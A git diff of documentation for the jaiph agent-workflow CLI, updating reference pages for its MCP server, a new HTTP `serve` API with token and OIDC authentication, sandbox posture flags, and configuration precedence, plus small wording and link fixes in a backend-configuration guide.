`E_AGENT_CREDENTIALS` (hard error) or a warning depending on backend and Docker mode — see [Authenticate agent backends](agent-auth.md) and [Configuration — Credential pre-flight](configuration.md#credential-pre-flight). `jaiph run --raw` does not run the pre-flight. ### Progress markers @@ -105,7 +106,7 @@ Interactive `jaiph run` only (`--raw` omits this block). On non-zero exit, the C ### Hook events -Hooks load from `~/.jaiph/hooks.json` (global) and `/.jaiph/hooks.json` (project-local; project overrides global per event). Hooks run on the **host** CLI process even in Docker mode. See [Add a hook](/how-to/hooks). +Hooks load from `~/.jaiph/hooks.json` (global) and `/.jaiph/hooks.json` (project-local; project overrides global per event). Hooks run on the **host** CLI process even in Docker mode. See [Add a hook](hooks.md). ## `jaiph test` @@ -125,7 +126,7 @@ jaiph test # run a single test file Zero matches with no arguments (or with a directory containing no `*.test.jh` files) writes `jaiph test: no *.test.jh files found (nothing to do)` to stderr and exits `0`. An explicit file path that does not exist or is not `*.test.jh` exits `1`. Plain workflow files (`*.jh` without `.test`) are not supported as test entries. Extra positional tokens after the path are accepted but ignored. -Assertions: `expect_contain`, `expect_equal`, `expect_not_contain` — see [Write & run tests](/how-to/testing). +Assertions: `expect_contain`, `expect_equal`, `expect_not_contain` — see [Write & run tests](testing.md). ## `jaiph compile` {: #jaiph-compile} @@ -268,17 +269,17 @@ jaiph use | Argument | Effect | |---|---| | `nightly` | Reinstalls from the rolling `nightly` prerelease. | -| `` (e.g. `0.11.0`) | Reinstalls the release binary for tag `v`. | +| `` (e.g. `0.12.0`) | Reinstalls the release binary for tag `v`. | Implementation: re-invokes `JAIPH_INSTALL_COMMAND` (default `curl -fsSL https://jaiph.org/install | bash`) with `JAIPH_REPO_REF` set to `nightly` or `v`. The installer downloads the matching per-platform binary plus `SHA256SUMS`, verifies the checksum, and replaces `~/.local/bin/jaiph` (or `JAIPH_BIN_DIR`). ## `jaiph mcp` {: #jaiph-mcp} -Serve a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio. See [Serve workflows as MCP tools](/how-to/mcp) for the recipe and client-registration steps. +Serve a file's workflows as [MCP](https://modelcontextprotocol.io/) tools over stdio. See [Serve workflows as MCP tools](mcp.md) for the recipe and client-registration steps. ```text -jaiph mcp [--workspace ] [--env KEY[=VALUE]]... +jaiph mcp [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... ``` `jaiph --mcp ` is an equivalent alias, dispatched after `compile` in `src/cli/index.ts`. @@ -287,13 +288,18 @@ jaiph mcp [--workspace ] [--env KEY[=VALUE]]... |---|---|---| | `--workspace` | `` | Workspace root for import resolution (default: auto-detected from the file's directory). A missing value or non-directory path aborts with a specific message. | | `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env` (same forms, validation, and reserved-key rejection), resolved once at startup and applied to **every** tool call for the server's lifetime. A bare `--env KEY` unset on the host aborts server startup with `E_ENV_MISSING`. In Docker mode the pairs cross the container boundary as explicit `-e` args bypassing the allowlist, exactly as for `jaiph run --env`. | +| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`: every tool call's Docker sandbox bind-mounts the host workspace read-write. Mutually exclusive with `--unsafe` (`E_FLAG_CONFLICT` at startup, before anything is spawned). No interactive prompt — launching the server with the flag (or env var) is the consent; the effective posture is printed once at startup and applied to every call. | +| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`: every tool call runs on the host with no sandbox. Same startup-consent model as `--inplace`. | +| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1` (recorded on every call's env; servers themselves never prompt). | | `-h`, `--help` | — | Print the subcommand usage and exit `0`. | +Flags that belong to another command (for example `--raw` or `--port`) are usage errors naming the owning command — never silently ignored. Precedence across layers is the shared execution-policy order: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults (see [Environment variables — Precedence](env-vars.md#precedence)). + ### Startup and exit behaviour - Loads the module graph and runs `collectDiagnostics` (the same compile-time pass as `jaiph compile`). Any diagnostic prints `file:line:col CODE message` lines to **stderr** and exits `1`. - A missing path, a non-`.jh` path, or a path that is not a file exits `1` with a message on stderr. -- On success the server runs until stdin closes or it receives `SIGINT` / `SIGTERM`, then drains in-flight calls and exits `0`. +- On success the server runs until stdin closes or it receives `SIGINT` / `SIGTERM`. Shutdown is **drain-then-cancel**: stdin closing (or the first signal) stops accepting input and waits for in-flight calls to finish before cleaning up and exiting `0` — a draining call keeps its scripts until it settles. A **second** signal cancels the in-flight calls instead of waiting: each run's child process tree is terminated (`SIGINT`, then `SIGKILL` after a grace period) and, in Docker mode, its container is force-removed (`docker rm -f`), so no child process or container outlives the server; the killed calls settle with error results and the server still exits `0`. ### stdout invariant @@ -343,8 +349,66 @@ Tool descriptions come from the `#` comment lines directly above each workflow ( ### Execution and hot reload - Tool calls honor the same env-driven sandbox selection as `jaiph run` (`resolveDockerConfig`): Docker on macOS/Linux by default, host-only under `JAIPH_UNSAFE=true` or on Windows. The image is prepared once at startup (`checkDockerAvailable` + `prepareImage`), not per call. Run artifacts land under `.jaiph/runs/` exactly as for `jaiph run`. -- **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Set `JAIPH_INPLACE=1` to bind the real workspace read-write so tool effects land live (opt-in), or `JAIPH_UNSAFE=true` to run on the host with no sandbox. +- **The workspace is isolated by default** for `jaiph mcp` — the same as `jaiph run`. Each tool call's container works on a writable point-in-time snapshot of the workspace, so edits are discarded on exit and the host tree is untouched. Pass `--inplace` (or set `JAIPH_INPLACE=1`) to bind the real workspace read-write so tool effects land live (opt-in), or `--unsafe` (`JAIPH_UNSAFE=true`) to run on the host with no sandbox. The posture is resolved and printed once at startup and applied to every call. - Source files in the module graph are watched (polling, ~750 ms). A valid edit re-derives tools and emits `notifications/tools/list_changed`; an edit that fails to compile keeps the previous tool set serving and logs diagnostics to stderr. +- Calls bind to the generation (emitted scripts + serialized graph) live when they start; a superseded generation's scripts dir survives until its last in-flight call settles, so a call spanning a reload still runs its remaining steps — the same lease model `jaiph serve` uses for HTTP runs. + +## `jaiph serve` +{: #jaiph-serve} + +Serve a file's workflows as an HTTP API with a generated OpenAPI 3.1 document and an embedded Swagger UI. Same exposure rules and execution layer as `jaiph mcp`, over HTTP instead of stdio. See [Serve workflows over HTTP](serve.md) for the recipe. + +```text +jaiph serve [--host ] [--port ] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... +``` + +| Flag | Argument | Effect | +|---|---|---| +| `--host` | `` | Listen address (default `127.0.0.1`). Binding a non-loopback host with no authentication (neither `JAIPH_SERVE_TOKEN` nor OIDC configured) aborts startup. | +| `--port` | `` | Listen port (default `5247`). `0` picks a free port. | +| `--workspace` | `` | Workspace root for import resolution (default: auto-detected). | +| `--env` | `KEY=VALUE` or `KEY` | Same per-key passthrough as `jaiph run --env`, resolved once at startup and applied to every run for the server's lifetime. | +| `--inplace` | — | Front-end for `JAIPH_INPLACE=1`: every run's Docker sandbox bind-mounts the host workspace read-write. Mutually exclusive with `--unsafe` (`E_FLAG_CONFLICT` at startup, before anything is spawned). No interactive prompt — launching the server with the flag (or env var) is the consent; the effective posture is printed once at startup and applied to every run. | +| `--unsafe` | — | Front-end for `JAIPH_UNSAFE=true`: every run executes on the host with no sandbox. Same startup-consent model as `--inplace`. | +| `-y`, `--yes` | — | Front-end for `JAIPH_INPLACE_YES=1` (recorded on every run's env; servers themselves never prompt). | +| `-h`, `--help` | — | Print the subcommand usage and exit `0`. | + +Flags that belong to another command (for example `--raw` or `--target`) are usage errors naming the owning command — never silently ignored. Precedence across layers is the shared execution-policy order: CLI flags > `JAIPH_*` env vars > workflow config metadata > defaults (see [Environment variables — Precedence](env-vars.md#precedence)). + +Startup mirrors `jaiph mcp`: graph load + `collectDiagnostics` (diagnostics to stderr, exit `1`), one-time Docker image preparation, credential pre-flight as warnings, and a sandbox-posture notice. All logs go to stderr; one startup line prints the listen URL and the `/docs` URL. + +### Endpoints + +The **Cap.** column names the capability an authenticated principal must hold to reach each endpoint. In static-token and open (loopback) mode the single principal holds every capability; in OIDC mode capabilities come from the token's OAuth scopes (`jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel`) — see [Auth and limits](#auth-and-limits). `POST /mcp` (MCP Streamable HTTP) shares the same boundary: `tools/call` needs `invoke`, `tools/list` needs `inspect`. + +| Method & path | Cap. | Behaviour | +|---|---|---| +| `GET /` | none | `302` → `/docs`. | +| `GET /healthz` | none | `200 {status, version, tools, in_flight}`. Always open and credential-free. | +| `GET /openapi.json` | none | OpenAPI 3.1 document, regenerated per request (hot reload needs no cache invalidation). `404` when `JAIPH_SERVE_EXPOSE_DOCS=false`. | +| `GET /docs` | none | Swagger UI shell (loads `swagger-ui-dist` from a pinned, SRI-verified CDN). `404` when `JAIPH_SERVE_EXPOSE_DOCS=false`. | +| `GET /v1/workflows` | `inspect` | `{workflows: [{name, description, params}]}`. | +| `POST /v1/workflows/{name}/runs` | `invoke` | Start a run. Default `202` + `Location: /v1/runs/{id}`; `?wait=true` blocks for the terminal `200`. Send an `Idempotency-Key` header (scoped to the authenticated principal + workflow) to make retries safe: an identical repeat returns the original run (`200`, no second spawn); a reused key with different arguments is `409 E_IDEMPOTENCY_CONFLICT` and spawns nothing. | +| `GET /v1/runs` | `inspect` | Runs started by this process **plus runs reconstructed from disk on restart**, newest first, scoped to the caller's own runs (all runs for a static/open principal). Paginated: `?limit` (default `100`, clamped to `1000`), `?offset` (default `0`). Response is `{runs, total, limit, offset}` and never unbounded. | +| `GET /v1/runs/{id}` | `inspect` | The run object. `404` unknown (a run the principal does not own is indistinguishable from nonexistent). | +| `GET /v1/runs/{id}/events` | `inspect` | The run's `run_summary.jsonl`. Default `application/x-ndjson` snapshot, streamed from disk (never buffered whole); `Accept: text/event-stream` replays then follows it live, closing with `event: end` when terminal. Served verbatim (already credential-redacted); raw capture files are never exposed. `404` unknown. | +| `GET /v1/runs/{id}/artifacts` | `inspect` | `{artifacts: [{path, size, mtime}]}` for files published under the run's `artifacts/` (empty when none). `404` unknown. | +| `GET /v1/runs/{id}/artifacts/{path}` | `inspect` | Download one published file (`application/octet-stream`), streamed with backpressure — never buffered whole, so an arbitrarily large file costs no server memory and a client disconnect closes the file. Traversal-proof — `..`, absolute paths, and escaping symlinks are `404`. `413 E_ARTIFACT_TOO_LARGE` when the file exceeds `JAIPH_SERVE_MAX_ARTIFACT_BYTES`. | +| `POST /v1/runs/{id}/cancel` | `cancel` | `202`; the run reaches `cancelled`. `409` if already terminal. | + +The run object is `{run_id, workflow, status, started_at, ended_at, exit_status, signal, result_text, run_dir, principal, correlation_id}` where `status` is `running` \| `succeeded` \| `failed` \| `cancelled` \| `interrupted`. `principal` is the audit subject that created the run (`anonymous`/`operator` in open/static mode, the token `sub` in OIDC mode — never a token) and `correlation_id` is the request id attached at create time; both are `null` when unset. `interrupted` is the terminal state a run is reconciled to after a process death caught it mid-flight — its outcome is unknown, so it is neither `succeeded` nor `failed`, but it is never reported as permanently `running`. **A workflow failure is not an HTTP error** — the run object reports `status: "failed"` with the same failure narrative `jaiph mcp` returns, over HTTP `200`/`202`. Errors use `{error: {code, message}}` with `400 E_BAD_ARGS`, `401 E_UNAUTHORIZED` (missing/invalid static token), `401 E_TOKEN_EXPIRED` / `401 E_TOKEN_INVALID` (OIDC token expired, or bad audience/issuer/key/signature), `403 E_FORBIDDEN` (principal lacks the required capability), `404 E_NOT_FOUND`, `409 E_RUN_TERMINAL`, `409 E_IDEMPOTENCY_CONFLICT` (idempotency key reused with different arguments), `413 E_BODY_TOO_LARGE` (1 MiB request-body cap), `413 E_ARTIFACT_TOO_LARGE` (artifact download over `JAIPH_SERVE_MAX_ARTIFACT_BYTES`), `415` (non-`application/json` body), `429 E_TOO_MANY_RUNS`, and `503 E_AUTH_UNAVAILABLE` (OIDC identity provider / JWKS unreachable). + +Each run's public record is persisted beside its journal as `run.json` when it finishes, and reconstructed into the registry on startup — so `GET /v1/runs`, `/v1/runs/{id}`, `/events`, and `/artifacts` keep working for pre-restart terminal runs, and idempotency keys survive a restart. `jaiph serve` is a **single-replica** service: the run registry, concurrency cap, and idempotency index are per-process and not shared across replicas — run two behind one load balancer and each has its own view. See [Serve — deployment topology](serve.md#deployment-topology). + +### Auth and limits + +- **Authentication** has two production modes (credentials come from the environment, never argv) plus an open loopback default. **Static single-operator token:** `JAIPH_SERVE_TOKEN` is a shared secret required on every `/v1/*` and `/mcp` request (`Authorization: Bearer `, constant-time compared). It is a fail-closed gate for **one operator** — no per-user identity, revocation, or per-action authorization; the operator holds every capability and sees every run — not multi-tenant authentication. **OIDC/JWT (multi-tenant):** set `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (takes precedence over the static token; setting only one is a startup error) to verify bearer JWTs against the issuer's JWKS (discovered from `/.well-known/openid-configuration`, or set `JAIPH_SERVE_OIDC_JWKS_URI`) with a maintained JWT library — signature, `exp`/`nbf`, `aud`, `iss`, `kid`. Each token is authorized by OAuth scopes: `jaiph:invoke` (run), `jaiph:inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), `jaiph:cancel` (cancel a run); a missing capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created**. The authenticated subject and the request's correlation id (`X-Correlation-Id` / `X-Request-Id`, else a generated UUID) attach to run metadata, the invoke/cancel audit log lines, OTLP resource attributes, and Sentry tags — never a token or a claim value. +- Binding a non-loopback `--host` with **no** authentication is a startup error. On loopback, auth is optional (every caller is the `anonymous` principal with all capabilities). +- `JAIPH_SERVE_EXPOSE_DOCS` (default `true`) controls whether `/docs` and `/openapi.json` are served; set `false` (or `0`) to return `404` for both and hide the API surface. `/healthz` is always open and credential-free (liveness/readiness only — no tokens or sensitive detail). +- `JAIPH_SERVE_MAX_CONCURRENT` (default `4`) caps simultaneous runs; requests beyond it get `429`. +- `JAIPH_SERVE_MAX_ARTIFACT_BYTES` (default `0` = no cap) refuses artifact downloads larger than the limit with `413`. Downloads stream with backpressure regardless, so the default keeps server memory bounded no matter the file size; set a finite cap only to reject oversized downloads outright. +- Memory bounds keep a long-lived server from growing without limit: `JAIPH_SERVE_MAX_OUTPUT_BYTES` (default 1 MiB) caps collected stdout, stderr, log output, and the resident `result_text` per run (overflow dropped with a truncation marker); `JAIPH_SERVE_RETAIN_RUNS` (default `500`) and `JAIPH_SERVE_RETAIN_AGE_SEC` (default `86400`, `0` disables) bound how many completed runs stay in the in-memory registry, evicting the oldest terminal records first. **Active runs are never evicted**, and eviction drops only the in-memory record — durable `.jaiph/runs` journals and artifacts persist on disk and are the operator's to prune. See [Serve workflows over HTTP](serve.md#9-bound-memory-over-a-long-lived-server). +- Execution and hot reload are identical to `jaiph mcp`; a superseded generation's scripts dir survives until its in-flight HTTP runs finish. ## Environment variables @@ -374,4 +438,4 @@ See [Environment variables](env-vars.md) for the complete inventory. The variabl - [Grammar](grammar.md) — syntax and validation catalog. - [Language](language.md) — step semantics and step-output contract. - [Environment variables](env-vars.md) — every variable Jaiph reads. -- [Serve workflows as MCP tools](/how-to/mcp) — exposing a file's workflows to MCP clients via `jaiph mcp`. +- [Serve workflows as MCP tools](mcp.md) — exposing a file's workflows to MCP clients via `jaiph mcp`. diff --git a/docs/configuration.md b/docs/configuration.md index 7bf43cae..4c7b417b 100644 --- a/docs/configuration.md +++ b/docs/configuration.md @@ -26,8 +26,8 @@ Docker enablement uses a separate, env-only resolution; see [Docker enablement]( |---|---| | Module-level | At most one `config { … }` block per `.jh` file. May appear anywhere among top-level constructs. | | Workflow-level | At most one nested `config { … }` per workflow body. Must be the first non-comment construct in the body. | -| Allowed module keys | `agent.*`, `run.*`, `runtime.*`, `module.*`. | -| Allowed workflow keys | `agent.*`, `run.*` only. `runtime.*` and `module.*` are `E_PARSE`. | +| Allowed module keys | `agent.*`, `run.*`, `runtime.*`, `module.*`, and `trusted_envs`. | +| Allowed workflow keys | `agent.*`, `run.*`, and `trusted_envs`. `runtime.*` and `module.*` are `E_PARSE`. | | Duplicate block | `E_PARSE duplicate config block (only one allowed per file)` / `E_PARSE duplicate config block inside workflow (only one allowed per workflow)`. | | Unknown key | `E_PARSE unknown config key: . Allowed: …` (lists every allowed key). | | Wrong value type | `E_PARSE`. | @@ -163,11 +163,12 @@ Checks are applied top to bottom; the first match wins. | Layer | Effect | |---|---| -| Environment (`JAIPH_DOCKER_*`) | Highest priority for `image`, `network`, `timeout`. | +| CLI flags (`--inplace`, `--unsafe`, `--yes` on `jaiph run` / `jaiph serve` / `jaiph mcp`) | Set the corresponding `JAIPH_*` variable on the launched env for that process, so the env layer below stays the single source of truth. | +| Environment (`JAIPH_DOCKER_*`, `JAIPH_UNSAFE`, `JAIPH_INPLACE`) | Highest env-layer priority for `image`, `network`, `timeout`, and sandbox posture. | | Module-level `config` (`runtime.*`) | Applies when no env override is set. | | Built-in defaults | Lowest priority. | -Workflow-level `config` cannot set `runtime.*` keys. +Workflow-level `config` cannot set `runtime.*` keys. Contradictory posture (`--inplace`/`JAIPH_INPLACE` together with `--unsafe`/`JAIPH_UNSAFE`) is rejected with `E_FLAG_CONFLICT` before anything is spawned rather than resolved by precedence — see [Environment variables — Precedence](env-vars.md#precedence). ### Scoping across nested calls @@ -268,7 +269,7 @@ Resolution order for a `prompt` step: For the Claude backend, when `agent.model` is set and `agent.claude_flags` does not already contain `--model`, Jaiph passes `--model ` to the Claude CLI automatically. If both are set, the value in `agent.claude_flags` wins (appended last). -`PROMPT_START` / `PROMPT_END` records in `run_summary.jsonl` carry `model` (resolved string, or null when backend auto-selects) and `model_reason`. +`PROMPT_START` / `PROMPT_END` records in `run_summary.jsonl` carry `model` (resolved string, or null when the backend auto-selects) and `model_reason` (`explicit`, `flags`, `backend-default`, or `none` for a [custom agent command](#custom-agent-commands), which has no model concept). ## Prompt retry on transport failure {: #prompt-retry-on-transport-failure} diff --git a/docs/configure-backend.md b/docs/configure-backend.md index d0081562..b5f88c2b 100644 --- a/docs/configure-backend.md +++ b/docs/configure-backend.md @@ -6,14 +6,14 @@ diataxis: how-to # Configure the agent backend and model -This recipe picks which agent backend `prompt` steps use (`cursor`, `claude`, or `codex`) and which model to ask for. Configuration can live in the workflow file (`config { … }`) or in the environment. Environment wins over in-file when both are set. +This guide shows how to pick which agent backend your `prompt` steps use (`cursor`, `claude`, or `codex`) and which model to request. You can set both in the workflow file with a `config { … }` block or in the environment. The environment wins over the in-file value when both are set. -For the full key/default/precedence reference, see [Configuration](/reference/configuration). For credential setup per backend, see [Authenticate agent backends](/how-to/agent-auth). +For the full key/default/precedence reference, see [Configuration](configuration.md). For credential setup per backend, see [Authenticate agent backends](agent-auth.md). ## Prerequisites - The agent CLI for the chosen backend is on `PATH` (`cursor-agent` for `cursor`, `claude` for `claude`; `codex` uses HTTP and needs no CLI). -- Credentials are set per [Authenticate agent backends](/how-to/agent-auth). +- Credentials are set per [Authenticate agent backends](agent-auth.md). ## 1. Set the backend in the entry file @@ -31,7 +31,7 @@ workflow default() { } ``` -The valid backend values are `"cursor"` (the default), `"claude"`, and `"codex"`. The model string is forwarded to the backend — use a name the backend recognizes (e.g. `gpt-4o` for codex, `sonnet-4` for claude). +The valid backend values are `"cursor"` (the default), `"claude"`, and `"codex"`. The model string is forwarded to the backend, so use a name the backend recognizes (e.g. `gpt-4o` for codex, `sonnet-4` for claude). ## 2. Override per-workflow @@ -47,7 +47,7 @@ workflow fast_check() { } ``` -Only `agent.*` and `run.*` keys are allowed at workflow scope. `runtime.*` and `module.*` keys are module-only. +A workflow-level block can set `agent.*` and `run.*` keys. The `runtime.*` and `module.*` keys are module-only, so a workflow-level block cannot set them. ## 3. Override from the environment @@ -57,7 +57,7 @@ export JAIPH_AGENT_MODEL="sonnet-4" jaiph run ./flow.jh ``` -When set, `JAIPH_AGENT_BACKEND` (and other mapped agent/run env vars) win over in-file `config` for the lifetime of that run. The CLI marks inherited agent/run env vars as locked (`JAIPH_AGENT_BACKEND_LOCKED=1`, …) so in-file overrides never silently take effect. Model is different: in-file `agent.model` does not set `JAIPH_AGENT_MODEL` — it applies per `prompt` step only. Set `JAIPH_AGENT_MODEL` in the shell to override the model for every prompt in a run. +When set, `JAIPH_AGENT_BACKEND` (and the other mapped agent and run env vars) win over in-file `config` for the lifetime of that run. The CLI marks inherited agent and run env vars as locked (`JAIPH_AGENT_BACKEND_LOCKED=1`, and so on) so in-file overrides never silently take effect. The model works differently. In-file `agent.model` does not set `JAIPH_AGENT_MODEL`, and it applies per `prompt` step only. Set `JAIPH_AGENT_MODEL` in the shell to override the model for every prompt in a run. ## 4. (Codex) Override the API URL @@ -78,13 +78,13 @@ jq -c 'select(.type=="PROMPT_START")' .jaiph/runs//